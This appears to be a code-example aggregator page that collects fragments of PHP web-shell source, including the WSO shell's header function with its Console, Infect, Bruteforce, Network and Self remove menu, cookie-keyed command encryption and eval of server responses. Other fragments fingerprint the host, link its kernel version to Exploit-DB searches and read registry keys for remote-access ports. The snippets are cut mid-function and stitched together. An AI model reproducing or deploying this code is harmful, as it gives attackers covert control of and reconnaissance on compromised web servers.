req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
//alert(req.responseText);
var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
}
else alert("Request error!");
}
</script>
<head><body>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
</form>
<?php
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$millink='http://milw0rm.com/search.php?dong=';
if( strpos('Linux', $kernel) !== false )
$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
else
$millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
//.........这里部分代码省略.........
示例13: Info_f
function Info_f()
{
$dis_func = get_cfg_var("disable_functions");
$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传";
$adminmail = isset($_SERVER['SERVER_ADMIN']) ? "<a href=\"mailto:" . $_SERVER['SERVER_ADMIN'] . "\">" . $_SERVER['SERVER_ADMIN'] . "</a>" : "<a href=\"mailto:" . get_cfg_var("sendmail_from") . "\">" . get_cfg_var("sendmail_from") . "</a>";
if ($dis_func == "") {
$dis_func = "No";
} else {
$dis_func = str_replace(" ", "<br>", $dis_func);
$dis_func = str_replace(",", "<br>", $dis_func);
}
$phpinfo = !eregi("phpinfo", $dis_func) ? "Yes" : "No";
$info = array(array("服务器时间", date("Y年m月d日 h:i:s", time())), array("服务器域名", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"), array("服务器IP地址", gethostbyname($_SERVER['SERVER_NAME'])), array("服务器操作系统", PHP_OS), array("服务器操作系统文字编码", $_SERVER['HTTP_ACCEPT_LANGUAGE']), array("服务器解译引擎", $_SERVER['SERVER_SOFTWARE']), array("你的IP", getenv('REMOTE_ADDR')), array("Web服务端口", $_SERVER['SERVER_PORT']), array("PHP运行方式", strtoupper(php_sapi_name())), array("PHP版本", PHP_VERSION), array("运行于安全模式", Info_Cfg("safemode")), array("服务器管理员", $adminmail), array("本文件路径", __FILE__), array("允许使用 URL 打开文件 allow_url_fopen", Info_Cfg("allow_url_fopen")), array("允许动态加载链接库 enable_dl", Info_Cfg("enable_dl")), array("显示错误信息 display_errors", Info_Cfg("display_errors")), array("自动定义全局变量 register_globals", Info_Cfg("register_globals")), array("magic_quotes_gpc", Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit", Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size", Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize", $upsize), array("程序最长运行时间 max_execution_time", Info_Cfg("max_execution_time") . "秒"), array("被禁用的函数 disable_functions", $dis_func), array("phpinfo()", $phpinfo), array("目前还有空余空间diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), array("图形处理 GD Library", Info_Fun("imageline")), array("IMAP电子邮件系统", Info_Fun("imap_close")), array("MySQL数据库", Info_Fun("mysql_close")), array("SyBase数据库", Info_Fun("sybase_close")), array("Oracle数据库", Info_Fun("ora_close")), array("Oracle 8 数据库", Info_Fun("OCILogOff")), array("PREL相容语法 PCRE", Info_Fun("preg_match")), array("PDF文档支持", Info_Fun("pdf_close")), array("Postgre SQL数据库", Info_Fun("pg_close")), array("SNMP网络管理协议", Info_Fun("snmpget")), array("压缩文件支持(Zlib)", Info_Fun("gzclose")), array("XML解析", Info_Fun("xml_set_object")), array("FTP", Info_Fun("ftp_login")), array("ODBC数据库连接", Info_Fun("odbc_close")), array("Session支持", Info_Fun("session_start")), array("Socket支持", Info_Fun("fsockopen")));
echo '<table width="100%" border="0">';
for ($i = 0; $i < count($info); $i++) {
echo '<tr><td width="40%">' . $info[$i][0] . '</td><td>' . $info[$i][1] . '</td></tr>' . "\n";
}
echo '</table>';
return true;
}
示例14: hardHeader
function hardHeader()
{
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['▜'];
}
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION . "</title>\n<style>\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\n\ttable.info\t{color:#C3C3C3;background-color: #060A10;}\n\ttable#toolsTbl {background-color: #060A10;}\n\tspan,h1,a\t{color:#fff !important;}\n\tspan\t\t{font-weight:bolder;}\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\n\ta\t\t\t{text-decoration:none;}\n\ta:hover\t\t{text-decoration:underline;}\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\n\t.ml1\t\t{border:1px solid #1e252f;padding:5px;margin:0;overflow:auto;}\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#1e252f;border:none;font:9pt Courier New;outline:none;}\n\tlabel {position:relative}\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#1e252f;position:absolute;pointer-events:none;display:block;}\n\tform\t\t{margin:0px;}\n\t#toolsTbl\t{text-align:center;}\n\t#fak \t\t{background:none;}\n\t#fak td \t{padding:5px 0 0 0;}\n\tiframe\t\t{border:1px solid #060a10;}\n\t.toolsInp\t{width:300px}\n\t.main th\t{text-align:left;background-color:#060a10;}\n\t.main tr:hover{background-color:#354252;}\n\t.main td, th{vertical-align:middle;}\n\tinput[type='submit']{background-color:#2E6E9C;}\n\tinput[type='button']{background-color:#2E6E9C;}\n\tinput[type='submit']:hover{background-color:#56AD15;}\n\tinput[type='button']:hover{background-color:#56AD15;}\n\t.l1\t\t\t{background-color:#1e252f;}\n\tpre\t\t\t{font:9pt Courier New;}\n</style>\n<script>\n var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\n var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n var d = document;\n\t\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = 'ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n if (req) {\n req.onreadystatechange = processReqChange;\n req.open('POST', url, true);\n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n req.send(params);\n }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert('Request error!');\n\t}\n</script>\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
if (strpos('Linux', $kernel) !== false) {
$explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
} else {
$explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
}
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
}
$cwd_links .= "\")'>" . $path[$i] . "/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach ($charsets as $▟) {
$opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
}
$m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
if (!empty($GLOBALS['▛'])) {
$m['Logout'] = 'Logout';
}
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach ($m as $k => $v) {
$menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
}
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':\\')) {
$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
}
}
}
/* (С) 08.2015 dmkcv */
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://noreferer.de/?http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
}
示例15: die
die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path=' . $pp . '">');
}
html_n("</td></tr></form>");
break;
case "info_f":
$dis_func = get_cfg_var("disable_functions");
$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传";
$adminmail = isset($_SERVER['SERVER_ADMIN']) ? "<a href=\"mailto:" . $_SERVER['SERVER_ADMIN'] . "\">" . $_SERVER['SERVER_ADMIN'] . "</a>" : "<a href=\"mailto:" . get_cfg_var("sendmail_from") . "\">" . get_cfg_var("sendmail_from") . "</a>";
if ($dis_func == "") {
$dis_func = "No";
} else {
$dis_func = str_replace(" ", "<br>", $dis_func);
$dis_func = str_replace(",", "<br>", $dis_func);
}
$phpinfo = !eregi("phpinfo", $dis_func) ? "Yes" : "No";
$info = array(array("服务器时间", date("Y年m月d日 h:i:s", time())), array("服务器域名", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"), array("服务器IP地址", gethostbyname($_SERVER['SERVER_NAME'])), array("服务器操作系统", PHP_OS), array("服务器操作系统文字编码", $_SERVER['HTTP_ACCEPT_LANGUAGE']), array("服务器解译引擎", $_SERVER['SERVER_SOFTWARE']), array("你的IP", $_SERVER["REMOTE_ADDR"]), array("Web服务端口", $_SERVER['SERVER_PORT']), array("PHP运行方式", strtoupper(php_sapi_name())), array("PHP版本", PHP_VERSION), array("运行于安全模式", Info_Cfg("safemode")), array("服务器管理员", $adminmail), array("本文件路径", myaddress), array("允许使用 URL 打开文件 allow_url_fopen", Info_Cfg("allow_url_fopen")), array("允许使用curl_exec", Info_Fun("curl_exec")), array("允许动态加载链接库 enable_dl", Info_Cfg("enable_dl")), array("显示错误信息 display_errors", Info_Cfg("display_errors")), array("自动定义全局变量 register_globals", Info_Cfg("register_globals")), array("magic_quotes_gpc", Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit", Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size", Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize", $upsize), array("程序最长运行时间 max_execution_time", Info_Cfg("max_execution_time") . "秒"), array("被禁用的函数 disable_functions", $dis_func), array("phpinfo()", $phpinfo), array("目前还有空余空间diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), array("图形处理 GD Library", Info_Fun("imageline")), array("IMAP电子邮件系统", Info_Fun("imap_close")), array("MySQL数据库", Info_Fun("mysql_close")), array("SyBase数据库", Info_Fun("sybase_close")), array("Oracle数据库", Info_Fun("ora_close")), array("Oracle 8 数据库", Info_Fun("OCILogOff")), array("PREL相容语法 PCRE", Info_Fun("preg_match")), array("PDF文档支持", Info_Fun("pdf_close")), array("Postgre SQL数据库", Info_Fun("pg_close")), array("SNMP网络管理协议", Info_Fun("snmpget")), array("压缩文件支持(Zlib)", Info_Fun("gzclose")), array("XML解析", Info_Fun("xml_set_object")), array("FTP", Info_Fun("ftp_login")), array("ODBC数据库连接", Info_Fun("odbc_close")), array("Session支持", Info_Fun("session_start")), array("Socket支持", Info_Fun("fsockopen")));
$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");
echo '<table width="100%" border="0">';
for ($i = 0; $i < count($info); $i++) {
echo '<tr><td width="40%">' . $info[$i][0] . '</td><td>' . $info[$i][1] . '</td></tr>' . "\n";
}
try {
$registry_proxystring = $shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber");
$Telnet = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\TelnetServer\\1.0\\TelnetPort");
$PcAnywhere = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Symantec\\pcAnywhere\\CurrentVersion\\System\\TCPIPDataPort");
} catch (Exception $e) {
}
echo '<tr><td width="40%">Terminal Service端口为</td><td>' . $registry_proxystring . '</td></tr>' . "\n";
echo '<tr><td width="40%">Telnet端口为</td><td>' . $Telnet . '</td></tr>' . "\n";
echo '<tr><td width="40%">PcAnywhere端口为</td><td>' . $PcAnywhere . '</td></tr>' . "\n";
echo '</table>';